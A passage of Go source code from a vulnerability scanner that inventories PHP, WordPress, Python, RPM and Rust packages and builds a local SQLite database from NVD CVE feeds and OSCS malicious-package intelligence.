{ Name string `json:"name"` Path string `json:"path"` Packs []*PHPPack `json:"packs"` } type PHPPack struct { Name string `json:"name"` Component string `json:"component"` Version string `json:"version"` } // Map framework name to standard name var phpNameMap = map[string]string{"topthink/framework": "thinkphp"} func getPHPPacks(r io.Reader) (*PHP, error) { php := &PHP{} phpPacks := []*PHPPack{} data, _ := ioutil.ReadAll(r) composers := gjson.Get(string(data), "packages").Value() if composers != nil { packs := composers.([]interface{}) for _, packIn := range packs { pack := packIn.(map[string]interface{}) phpName := pack["name"].(string) if get, ok := phpNameMap[phpName]; ok { phpName = get } else { phpName = filepath.Base(phpName) } p := &PHPPack{ Name: phpName, Component: pack["name"].(string), Version: pack["version"].(string), } phpPacks = append(phpPacks, p) } } php.Packs = phpPacks return php, nil } func parsePHPName(r io.Reader) string { data, _ := ioutil.ReadAll(r) composer := gjson.Get(string(data), "name").Value() if composer != nil { return composer.(string) } return "" } func getWordpressInfo(dir string) (*PHP, error) { php := &PHP{ Name: "wordpress", } phpPacks := []*PHPPack{} wversionReg := regexp.MustCompile(`\$wp_version = '(.*)'`) versionPath := filepath.Join(dir, "wp-includes/version.php") versionFile, err := os.Open(versionPath) if err != nil { return php, err } defer versionFile.Close() data, _ := ioutil.ReadAll(versionFile) versionMatch := wversionReg.FindStringSubmatch(string(data)) if len(versionMatch) > 1 { p := &PHPPack{ Name: "wordpress", Component: "wordpress", Version: versionMatch[1], } phpPacks = append(phpPacks, p) } pluginsDir := filepath.Join(dir, "wp-content/plugins") plugins, err := ioutil.ReadDir(pluginsDir) if err != nil { goto check } for _, file := range plugins { if file.IsDir() { pluginName := file.Name() pluginPath := filepath.Join(pluginsDir, pluginName) pluginVersion := parseWordpressPluginVersion(pluginPath, pluginName) if pluginVersion == "" { continue } p := &PHPPack{ Name: fmt.Sprintf("plugin: %s", pluginName), Version: pluginVersion, } phpPacks = append(phpPacks, p) } } check: if len(phpPacks) < 1 { err = errors.New("no wordpress was detected") return php, err } php.Packs = phpPacks return php, nil } func parseWordpressPluginVersion(dir, pluginName string) string { versionFile := filepath.Join(dir, fmt.Sprintf("%s.php", pluginName)) f, err := os.Open(versionFile) if err == nil { defer f.Close() pluginVersionReg := regexp.MustCompile(`Version:(.*)`) data, _ := ioutil.ReadAll(f) pluginVersionMatch := pluginVersionReg.FindStringSubmatch(string(data)) if len(pluginVersionMatch) > 1 { return strings.TrimSpace(pluginVersionMatch[1]) } } // Find in readme.txt readmeName := filepath.Join(dir, "readme.txt") read, err := os.Open(readmeName) if err != nil { return "" } defer read.Close() data, _ := ioutil.ReadAll(read) readmeReg := regexp.MustCompile(`Stable tag:(.*)`) readVersionMatch := readmeReg.FindStringSubmatch(string(data)) if len(readVersionMatch) > 1 { return strings.TrimSpace(readVersionMatch[1]) } return "" } ================================================ FILE: pkg/packages/python.go ================================================ package packages import ( "context" "io/ioutil" "os" "path/filepath" "regexp" "strings" "github.com/BurntSushi/toml" ) var ( pyVersion = regexp.MustCompile(`^python\d+\.\d+$`) module = regexp.MustCompile(`(.*).dist-info`) ) type PIP struct { Name string `json:"name"` Version string `json:"version"` } type Python struct { Version string `json:"version"` SitePacks []*PIP `json:"SitePacks"` SitePath string `json:"sitePath"` } // GetSitePacks get pip installed module. find all installed packs in // /usr/local/lib//site-packages. list all the `.dist-info` // directories and parse it. ignore `.egg-info` directories. same as // `pip freeze` func (s *Packages) getSitePacks(ctx context.Context) error { m := s.Mani fsys := filepath.Join(m.Localpath, "usr/local/lib") dir, err := ioutil.ReadDir(fsys) if err != nil { return err } for _, f := range dir { if ok := pyVersion.MatchString(f.Name()); ok { path := filepath.Join(fsys, f.Name(), "site-packages") if ok := exists(path); !ok { path = filepath.Join(fsys, f.Name(), "dist-packages") if ok := exists(path); !ok { continue } } sitePack, err := getPIPModules(path) if err != nil { return err } py := &Python{ Version: f.Name(), SitePacks: sitePack, SitePath: strings.TrimPrefix(path, m.Localpath), } s.PythonPacks = append(s.PythonPacks, py) } } return nil } // getPIPModules get all install module from site-packages func getPIPModules(path string) ([]*PIP, error) { pips := []*PIP{} dir, err := ioutil.ReadDir(path) if err != nil { return nil, err } for _, f := range dir { find := module.FindString(f.Name()) if find != "" { p := parse(f.Name()) pips = append(pips, p) } } return pips, nil } // getPyproject from pyproject.toml func getPyproject(filename string) (*Python, error) { py := &Python{} pips := []*PIP{} data, err := ioutil.ReadFile(filename) if err != nil { return py, err } var config map[string]interface{} _, err = toml.Decode(string(data), &config) if err != nil { return py, err } libs := config["tool"].(map[string]interface{})["poetry"].(map[string]interface{})["dependencies"].(map[string]interface{}) for name, version := range libs { if name == "python" { py.Version = strings.TrimPrefix(version.(string), "^") continue } pip := &PIP{ Name: name, Version: strings.TrimPrefix(version.(string), "^"), } pips = append(pips, pip) } py.SitePacks = pips py.SitePath = "poetry" return py, nil } // getLocalPythonPacks for command `pip install packs -t ` func getLocalPythonPacks(path string) ([]*PIP, error) { pips := []*PIP{} dir, err := ioutil.ReadDir(path) if err != nil { return pips, err } for _, f := range dir { find := module.FindString(f.Name()) if find != "" { p := parse(f.Name()) pips = append(pips, p) } } return pips, nil } func parse(pathname string) *PIP { moduleVersion := strings.Replace(pathname, ".dist-info", "", -1) v := strings.Split(moduleVersion, "-") p := &PIP{ Name: v[0], Version: v[1], } return p } func exists(path string) bool { _, err := os.Stat(path) if err != nil { if os.IsExist(err) { return true } return false } return true } ================================================ FILE: pkg/packages/rpm.go ================================================ package packages import ( "context" "path/filepath" rpmdb "github.com/knqyf263/go-rpmdb/pkg" ) func (s *Packages) getRpmPacks(ctx context.Context) error { dbFiles := []string{ "var/lib/rpm/Packages", "var/lib/rpm/Packages.db", "var/lib/rpm/rpmdb.sqlite", } for _, dbPath := range dbFiles { rpmPath := filepath.Join(s.Mani.Localpath, dbPath) db, err := rpmdb.Open(rpmPath) if err != nil { continue } pkgList, err := db.ListPackages() if err != nil { continue } for _, pkg := range pkgList { p := &Package{ Name: pkg.Name, Version: pkg.Version, Architecture: pkg.Arch, } s.Packs = append(s.Packs, p) } } return nil } ================================================ FILE: pkg/packages/rust.go ================================================ package packages import ( "io" "github.com/microsoft/go-rustaudit" ) type Rust struct { Name string `json:"name"` Path string `json:"path"` Deps []*Cargo `json:"deps"` } type Cargo struct { Name string `json:"name"` Version string `json:"version"` } func getRustPacks(rt io.ReaderAt) (*Rust, error) { rust := &Rust{} deps := []*Cargo{} audit, err := rustaudit.GetDependencyInfo(rt) if err != nil { return rust, err } for _, dep := range audit.Packages { d := &Cargo{ Name: dep.Name, Version: dep.Version, } deps = append(deps, d) } rust.Deps = deps return rust, nil } ================================================ FILE: pkg/vulnlib/client.go ================================================ package vulnlib import ( "database/sql" "net/http" ) type Client struct { Cli *http.Client DB *sql.DB Store string } type DBRow struct { Id int Hash string VulnName string MaxVersion string MinVersion string Description string Level string CVEID string Source string PublishDate string Component string Score float64 } type cpes struct { Name string MaxVersion string MinVersion string component string } type vuln struct { cpe []*cpes score float64 level string desc string publishDate string cveID string reference string source string } ================================================ FILE: pkg/vulnlib/cvss.go ================================================ package vulnlib import ( "bufio" "compress/gzip" "context" "fmt" "io" "io/ioutil" "log" "net/http" "os" "path/filepath" "strings" "time" version2 "github.com/hashicorp/go-version" "github.com/tidwall/gjson" ) const ( cvssUrl = "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-%d.json.gz" firstYear = 2010 ) func (c *Client) GetCvss(ctx context.Context) error { // Try to delete newest cvss json file and re-download them if checkExpired(c.Store) { newFile := filepath.Join(c.Store, fmt.Sprintf("nvdcve-1.1-%d.json", time.Now().Year())) os.Remove(newFile) } for y, now := firstYear, time.Now().Year(); y <= now; y++ { filename := filepath.Join(c.Store, fmt.Sprintf("nvdcve-1.1-%d.json", y)) if exists(filename) { //log.Printf("cvss nvdcve-1.1-%d.json existed", y) continue } url := fmt.Sprintf(cvssUrl, y) req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { log.Printf("failed to get url: %s", url) continue } res, err := c.Cli.Do(req) if err != nil { log.Printf("failed to request url: %s", url) continue } gz, err := gzip.NewReader(res.Body) if err != nil { res.Body.Close() continue } err = store(gz, filename) if err != nil { gz.Close() res.Body.Close() return err } log.Printf("Downloading cvss nvdcve-1.1-%d.json successful", y) gz.Close() res.Body.Close() } log.Printf("Downloading cvss file is done") // Update cvss data to database err := c.cvssToDB() if err != nil { log.Printf("failed to store cvss") return err } log.Printf("Cvss updating finish") return nil } func store(r io.Reader, filename string) error { data, err := ioutil.ReadAll(r) if err != nil { return err } err = os.WriteFile(filename, data, 0644) if err != nil { return err } return nil } func (c *Client) cvssToDB() error { cvssFiles, err := ioutil.ReadDir(c.Store) if err != nil { log.Printf("failed to list dir '%s'", c.Store) return err } // Optimized update progress upToDateFile := filepath.Join(c.Store, fmt.Sprintf("nvdcve-1.1-%d.json", time.Now().Year())) logFile := filepath.Join(c.Store, "date.txt") if exists(logFile) { return readCVSS(upToDateFile, c.cvssParse) } for _, cf := range cvssFiles { if !strings.Contains(cf.Name(), "nvdcve-1.1") { continue } cveFile := filepath.Join(c.Store, cf.Name()) err = readCVSS(cveFile, c.cvssParse) if err != nil { log.Printf("%s is stored failed", cf.Name()) continue } log.Printf("%s is stored successfully", cf.Name()) } return nil } func readCVSS(filename string, handle func(filename string) error) error { f, err := os.Open(filename) defer f.Close() if err != nil { return err } buf := bufio.NewReader(f) var lines string for { line, _, err := buf.ReadLine() strline := strings.TrimSpace(string(line)) if strings.Contains(strline, `"cve" :`) { err = handle(lines) if err != nil { return err } lines = strline } else { lines += strline } if err != nil { if err == io.EOF { return nil } return err } } } func (c *Client) cvssParse(data string) error { // Skip the headers if !strings.Contains(data, `"cve"`) { return nil } data = "{" + data[:len(data)-3] cveitems := gjson.Parse(data).Value() cve := cveitems.(map[string]interface{})["cve"].(map[string]interface{}) cveID := cve["CVE_data_meta"].(map[string]interface{})["ID"].(string) if cveID == "" { return nil } publishDate := cveitems.(map[string]interface{})["publishedDate"].(string) publishDate = strings.Replace(publishDate, "Z", "", -1) pd, _ := time.Parse("2006-01-02T15:04", publishDate) publishDate = pd.Format("2006-01-02") var description string descriptionData := cve["description"].(map[string]interface{})["description_data"] if descriptionData == nil { description = "" } else { description = descriptionData.([]interface{})[0].(map[string]interface{})["value"].(string) } cpe := cveitems.(map[string]interface{})["configurations"].(map[string]interface{})["nodes"].([]interface{}) cpeResult := cpeParse(cpe) if len(cpeResult) < 1 { return nil } var score float64 var level string if len(cveitems.(map[string]interface{})["impact"].(map[string]interface{})) < 1 { return nil } if cveitems.(map[string]interface{})["impact"].(map[string]interface{})["baseMetricV3"] == nil { baseMetricV2 := cveitems.(map[string]interface{})["impact"].(map[string]interface{})["baseMetricV2"].(map[string]interface{}) score = baseMetricV2["cvssV2"].(map[string]interface{})["baseScore"].(float64) level = baseMetricV2["severity"].(string) } else { cvssV3 := cveitems.(map[string]interface{})["impact"].(map[string]interface{})["baseMetricV3"].(map[string]interface{})["cvssV3"].(map[string]interface{}) score = cvssV3["baseScore"].(float64) level = cvssV3["baseSeverity"].(string) } vulnes := &vuln{ cpe: cpeResult, score: score, level: level, desc: description, publishDate: publishDate, cveID: cveID, source: "CVSS", } if vulnes != nil { err := c.update(vulnes) if err != nil { return err } } return nil } func cpeParse(cpe []interface{}) []*cpes { cs := []*cpes{} for index := 0; index < len(cpe); index++ { cpeChildren := cpe[index].(map[string]interface{})["children"].([]interface{}) if len(cpeChildren) > 0 { cpeParse(cpeChildren) } cpeMatch := cpe[index].(map[string]interface{})["cpe_match"].([]interface{}) isFirst := true for _, ci := range cpeMatch { c := ci.(map[string]interface{}) if !c["vulnerable"].(bool) { continue } cpe23 := c["cpe23Uri"].(string) cpe23Split := strings.Split(cpe23, ":") if i := findName(cs, cpe23Split[4]); i < 0 && !isFirst { continue } else { if i > -1 && cs[i].MinVersion == "0.0" { cs[i].MaxVersion = cpe23Split[5] if c["versionStartIncluding"] != nil { cs[i].MinVersion = "=" + c["versionStartIncluding"].(string) } else if c["versionStartExcluding"] != nil { cs[i].MinVersion = c["versionStartExcluding"].(string) } if c["versionEndIncluding"] != nil { cs[i].MaxVersion = "=" + c["versionEndIncluding"].(string) } else if c["versionEndExcluding"] != nil { cs[i].MaxVersion = c["versionEndExcluding"].(string) } continue } } if cpe23Split[10] != "python" && cpe23Split[10] != "node.js" { cpe23Split[10] = "*" } scpe := &cpes{ Name: cpe23Split[4], MaxVersion: cpe23Split[5], MinVersion: "0.0", component: cpe23Split[10], } if c["versionStartIncluding"] != nil { scpe.MinVersion = "=" + c["versionStartIncluding"].(string) } else if c["versionStartExcluding"] != nil { scpe.MinVersion = c["versionStartExcluding"].(string) } if c["versionEndIncluding"] != nil { scpe.MaxVersion = "=" + c["versionEndIncluding"].(string) } else if c["versionEndExcluding"] != nil { scpe.MaxVersion = c["versionEndExcluding"].(string) } // Distinguish between Python 2 and Python 3 if scpe.Name == "python" { var pyv string if strings.Contains(scpe.MaxVersion, "=") { pyv = scpe.MaxVersion[1:] } else { pyv = scpe.MaxVersion } pyVersion, err := version2.NewVersion(pyv) if err == nil { py3, _ := version2.NewVersion("3.0.0") if pyVersion.Compare(py3) >= 0 && scpe.MinVersion == "0.0" { scpe.MinVersion = "=3.0" } } } // Filter the special character if scpe.MaxVersion == "-" { scpe.MaxVersion = "0.0" } if scpe.MinVersion == "-" { scpe.MinVersion = "0.0" } cs = append(cs, scpe) isFirst = false } } return cs } func findName(cpeList []*cpes, name string) int { index := -1 for i, v := range cpeList { if v.Name == name { return i } } return index } ================================================ FILE: pkg/vulnlib/db.go ================================================ package vulnlib import ( "crypto/md5" "database/sql" "encoding/hex" "fmt" "log" "os" "path/filepath" "runtime" "strings" _ "github.com/mattn/go-sqlite3" ) func (cli *Client) Init() error { // Re-get homedir here dir, err := getHomeDir() if err != nil { log.Printf("failed to get home dir, error: %v", err) return err } var homedir string if runtime.GOOS == "windows" { homedir = filepath.Join(dir, "vestadata") } else { homedir = filepath.Join(dir, ".vesta") } if !exists(homedir) { err = mkFolder(homedir) if err != nil { log.Printf("failed to create folder, error: %v", err) return err } } dbPath := filepath.Join(homedir, "vesta.db") var db *sql.DB if !exists(dbPath) { file, err := os.Create(dbPath) if err != nil { return err } file.Close() db, _ = sql.Open("sqlite3", dbPath) vulTable := `CREATE TABLE vulns ( "ID" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "Hash" TEXT UNIQUE, "VulnName" TEXT, "MaxVersion" TEXT, "MinVersion" TEXT, "Description" TEXT, "Level" TEXT, "CVEID" TEXT, "PublishDate" TEXT, "Component" TEXT, "Score" REAL, "Source" TEXT);` query, err := db.Prepare(vulTable) if err != nil { return err } query.Exec() } else { db, _ = sql.Open("sqlite3", dbPath) } cli.DB = db return nil } func (cli *Client) update(v *vuln) error { for _, cpe := range v.cpe { hash := md5.Sum([]byte(fmt.Sprintf("%s%s%s%s", cpe.Name, cpe.MaxVersion, cpe.MinVersion, v.cveID))) sqlRow := `INSERT INTO vulns ("Hash", "VulnName", "MaxVersion", "MinVersion", "Description", "Level", "CVEID", "PublishDate", "Component", "Score", "Source") VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)` _, err := cli.DB.Exec(sqlRow, hex.EncodeToString(hash[:]), cpe.Name, cpe.MaxVersion, cpe.MinVersion, v.desc, v.level, v.cveID, v.publishDate, cpe.component, v.score, v.source) if err != nil { if strings.Contains(err.Error(), "vulns.Hash") { continue } return err } } return nil } func (cli *Client) QueryVulnByName(name string) ([]*DBRow, error) { dbRows := []*DBRow{} sqlRow := `SELECT * FROM vulns WHERE vulnname = ?` rows, err := cli.DB.Query(sqlRow, name) if err != nil { return dbRows, err } defer rows.Close() for rows.Next() { r := &DBRow{} err = rows.Scan(&r.Id, &r.Hash, &r.VulnName, &r.MaxVersion, &r.MinVersion, &r.Description, &r.Level, &r.CVEID, &r.PublishDate, &r.Component, &r.Score, &r.Source) if err != nil || r.MaxVersion == "*" || r.MaxVersion == "-" { continue } dbRows = append(dbRows, r) } if err = rows.Err(); err != nil { return dbRows, err } return dbRows, nil } func (cli *Client) QueryVulnByCVEID(cveid string) ([]*DBRow, error) { dbRows := []*DBRow{} sqlRow := `SELECT * FROM vulns WHERE cveid = ?` rows, err := cli.DB.Query(sqlRow, cveid) if err != nil { return dbRows, err } defer rows.Close() for rows.Next() { r := &DBRow{} err = rows.Scan(&r.Id, &r.Hash, &r.VulnName, &r.MaxVersion, &r.MinVersion, &r.Description, &r.Level, &r.CVEID, &r.PublishDate, &r.Component, &r.Score, &r.Source) if err != nil || r.MaxVersion == "*" || r.MaxVersion == "-" { continue } dbRows = append(dbRows, r) } if err = rows.Err(); err != nil { return dbRows, err } return dbRows, nil } ================================================ FILE: pkg/vulnlib/getvuln.go ================================================ package vulnlib import ( "context" "io/ioutil" "log" "net/http" "os" "path/filepath" "runtime" "strings" "time" "github.com/kvesta/vesta/config" ) // Fetch get cvss data from Internet func Fetch(ctx context.Context) error { log.Printf(config.Green("Begin updating vulnerability database")) tr := &http.Transport{ IdleConnTimeout: 60 * time.Second, DisableCompression: true, } cli := Client{ Cli: &http.Client{ Transport: tr, }, } dir, err := getHomeDir() if err != nil { log.Printf("failed to get home dir, error: %v", err) return err } var store string if runtime.GOOS == "windows" { store = filepath.Join(dir, "vestadata") } else { store = filepath.Join(dir, ".vesta") } if ctx.Value("reset") != nil && ctx.Value("reset").(bool) { dataFile := filepath.Join(store, "date.txt") dbFile := filepath.Join(store, "vesta.db") _ = os.Remove(dataFile) _ = os.Remove(dbFile) } if !exists(store) { err = mkFolder(store) if err != nil { log.Printf("failed to create folder, error: %v", err) return err } } if !checkExpired(store) { log.Printf("Vulnerability Database is already initialized") return nil } else { log.Printf("Vulnerability Data expired, updating database") } cli.Store = store err = cli.Init() if err != nil { log.Printf("failed to init database") return err } defer cli.DB.Close() // Get cvss data and store to database err = cli.GetCvss(ctx) if err != nil { log.Printf("failed to get cvss data, error: %v", err) } // Get OSCS data for poised package err = cli.GetOSCS(ctx) if err != nil { log.Printf("failed to get oscs data, error: %v", err) } // Write log err = writeLog(store) if err != nil { log.Printf("failed to write date log, error: %v", err) } return nil } func getHomeDir() (string, error) { if runtime.GOOS == "windows" { dir, err := os.Getwd() if err != nil { return "", nil } return dir, nil } dir, err := os.UserHomeDir() if err != nil { return "", err } return dir, nil } func exists(path string) bool { _, err := os.Stat(path) if err != nil { if os.IsExist(err) { return true } return false } return true } func mkFolder(path string) error { if !exists(path) { err := os.MkdirAll(path, os.FileMode(0755)) if err != nil { return err } } return nil } func checkExpired(path string) bool { filename := filepath.Join(path, "date.txt") var dateFile *os.File var err error if !exists(filename) { return true } else { dateFile, err = os.Open(filename) if err != nil { log.Printf("failed to open date: %v", err) return true } } defer dateFile.Close() value, err := ioutil.ReadAll(dateFile) if err != nil { return true } today := time.Now() if len(value) < 1 { return true } logDate, err := time.Parse("02/01/2006", strings.TrimSuffix(string(value), "\x0a")) // Check whether a time format if err != nil { log.Printf("Date format error, expired") return true } if expire := today.After(logDate.AddDate(0, 0, 1)); expire { return true } return false } func writeLog(path string) error { filename := filepath.Join(path, "date.txt") if !exists(filename) { f, err := os.Create(filename) if err != nil { log.Printf("failed to create log") return err } f.Close() } today := time.Now() dateFile, err := os.OpenFile(filename, os.O_WRONLY, 0644) if err != nil { log.Printf("failed to open log") return err } defer dateFile.Close() _, err = dateFile.WriteString(today.Format("02/01/2006")) if err != nil { return err } return nil } ================================================ FILE: pkg/vulnlib/oscs.go ================================================ package vulnlib import ( "bytes" "context" "encoding/json" "errors" "fmt" "io/ioutil" "log" "net/http" "regexp" "strings" "time" "github.com/tidwall/gjson" ) const ( OSCSUrl = "https://www.oscs1024.com/oscs/v1/intelligence/list" OSCSVulnUrl = "https://www.oscs1024.com/oscs/v1/vdb/info" pageSize = 50 ) func (c *Client) GetOSCS(ctx context.Context) error { page := 1 resBody, err := oscsRequest(c.Cli, page) if err != nil { return err } oscsData := gjson.Parse(string(resBody)).Value() oscsVuln := oscsData.(map[string]interface{})["data"] if oscsVuln == nil { err = errors.New("no oscs data") return err } err = c.oscsParse(oscsVuln) if err != nil { return err } if checkExpired(c.Store) { return nil } total := oscsVuln.(map[string]interface{})["total"].(float64) totalPages := int(total) / pageSize page += 1 for page <= totalPages { resBody, err = oscsRequest(c.Cli, page) if err != nil { return err } oscsData = gjson.Parse(string(resBody)).Value() oscsVuln = oscsData.(map[string]interface{})["data"] if oscsVuln == nil { err = errors.New("no oscs data") return err } err = c.oscsParse(oscsVuln) if err != nil { return err } page += 1 } log.Printf("OSCS updating finish") return nil } func oscsRequest(cli *http.Client, page int) ([]byte, error) { resBody := []byte{} jsonPost := map[string]interface{}{ "page": page, "per_page": pageSize, } data, _ := json.Marshal(jsonPost) req, err := http.NewRequestWithContext(context.Background(), http.MethodPost, OSCSUrl, bytes.NewBuffer(data)) if err != nil { return resBody, err } req.Header.Set("Referer", "https://www.oscs1024.com/cm") req.Header.Set("Origin", "https://www.oscs1024.com") req.Header.Set("Content-Type", "application/json; charset=UTF-8") res, err := cli.Do(req) if err != nil { log.Printf("failed to request url: %s", OSCSUrl) } defer req.Body.Close() resBody, err = ioutil.ReadAll(res.Body) if err != nil { return resBody, err } return resBody, nil } func (c *Client) oscsVulnParse(mps string) ([]byte, error) { resBody := []byte{} jsonPost := map[string]interface{}{ "vuln_no": mps, } data, _ := json.Marshal(jsonPost) req, err := http.NewRequestWithContext(context.Background(), http.MethodPost, OSCSVulnUrl, bytes.NewBuffer(data)) if err != nil { return resBody, err } req.Header.Set("Referer", "https://www.oscs1024.com/cm") req.Header.Set("Origin", "https://www.oscs1024.com") req.Header.Set("Content-Type", "application/json; charset=UTF-8") res, err := c.Cli.Do(req) if err != nil { return resBody, err } defer res.Body.Close() resBody, err = ioutil.ReadAll(res.Body) if err != nil { return resBody, err } return resBody, nil } func (c *Client) oscsParse(data interface{}) error { valueData := data.(map[string]interface{})["data"] if valueData == nil { err := errors.New("no oscs data") return err } for _, pro := range valueData.([]interface{}) { proMap := pro.(map[string]interface{}) if proMap == nil { continue } if int(proMap["intelligence_type"].(float64)) == 3 { err := c.oscsToDB(proMap) if err != nil { log.Printf("failed to store oscs db, error: %v", err) return err } } } return nil } func (c *Client) oscsToDB(com map[string]interface{}) error { title := com["title"].(string) characterRegex := regexp.MustCompile(`[\w-@/]+`) characterMatch := characterRegex.FindAllStringSubmatch(title, -1) if len(characterMatch) < 2 { return nil } pd, _ := time.Parse(time.RFC3339, com["public_time"].(string)) publishDate := pd.Format("2006-01-02") var cpe []*cpes vulnes := &vuln{ score: 8.5, level: "high", publishDate: publishDate, cveID: com["mps"].(string), source: "OSCS", } switch { case strings.ToUpper(characterMatch[0][0]) == "NPM": cpe = []*cpes{ { Name: characterMatch[1][0], MaxVersion: "999", MinVersion: "0.0", component: "node.js", }, } case strings.ToUpper(characterMatch[1][0]) == "NPM": cpe = []*cpes{ { Name: characterMatch[0][0], MaxVersion: "999", MinVersion: "0.0", component: "node.js", }, } case characterMatch[0][0] == "PyPi": cpe = []*cpes{ { Name: characterMatch[1][0], MaxVersion: "999", MinVersion: "0.0", component: "python", }, } case characterMatch[1][0] == "Python": cpe = []*cpes{ { Name: characterMatch[0][0], MaxVersion: "999", MinVersion: "0.0", component: "python", }, } default: return nil } // Deal with '@/' in NPM if strings.Contains(cpe[0].Name, "/") { nameArray := strings.Split(cpe[0].Name, "/") cpe[0].Name = nameArray[len(nameArray)-1] } vulnes.cpe = cpe vulnes.desc = fmt.Sprintf("Package '%s' is detected as malware, reference: https://www.oscs1024.com/hd/%s.", cpe[0].Name, vulnes.cveID) if vulnes != nil { err := c.update(vulnes) if err != nil { return err } } return nil }